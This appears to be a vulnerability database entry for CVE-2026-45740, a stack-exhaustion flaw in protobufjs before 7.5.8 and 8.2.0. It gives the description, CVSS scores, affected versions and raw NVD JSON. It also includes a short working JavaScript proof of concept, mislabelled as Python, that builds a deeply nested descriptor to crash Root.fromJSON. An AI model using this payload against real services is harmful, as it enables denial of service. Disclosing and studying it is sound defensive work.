Security Vulnerability Report
中文
CVE-2026-45740 CVSS 5.3 MEDIUM

CVE-2026-45740

Published: 2026-05-13 16:17:01
Last Modified: 2026-05-13 20:50:16

Description

protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.8 and 8.2.0, protobufjs could recurse without a depth limit while expanding nested JSON descriptors through Root.fromJSON() and Namespace.addJSON(). A crafted JSON descriptor with deeply nested namespace definitions could cause the JavaScript call stack to be exhausted during descriptor loading. This vulnerability is fixed in 7.5.8 and 8.2.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:* - VULNERABLE
protobufjs < 7.5.8
protobufjs < 8.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-45740 // This PoC generates a deeply nested JSON object to trigger stack overflow in protobufjs const protobuf = require("protobufjs"); function generateDeepNestedJson(depth) { let nested = {}; let current = nested; for (let i = 0; i < depth; i++) { current.nested = { name: `level_${i}`, fields: {} }; current = current.nested; } return { nested: nested }; } // Generate a payload with recursion depth exceeding typical stack limits const maliciousPayload = generateDeepNestedJson(20000); try { console.log("Attempting to parse malicious JSON..."); // Trigger the vulnerable function protobuf.Root.fromJSON(maliciousPayload); console.log("Parsing completed (unexpected)."); } catch (e) { console.error(`Vulnerability triggered: ${e.message}`); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45740", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:17:00.520", "lastModified": "2026-05-13T20:50:15.587", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.8 and 8.2.0, protobufjs could recurse without a depth limit while expanding nested JSON descriptors through Root.fromJSON() and Namespace.addJSON(). A crafted JSON descriptor with deeply nested namespace definitions could cause the JavaScript call stack to be exhausted during descriptor loading. This vulnerability is fixed in 7.5.8 and 8.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "7.5.8", "matchCriteriaId": "FDA0C570-B2AE-42ED-9D63-B8BF43884A7F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.2.0", "matchCriteriaId": "96AF0712-AB3D-4C64-BCE4-75FF461C8710"}]}]}], "references": [{"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-jggg-4jg4-v7c6", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}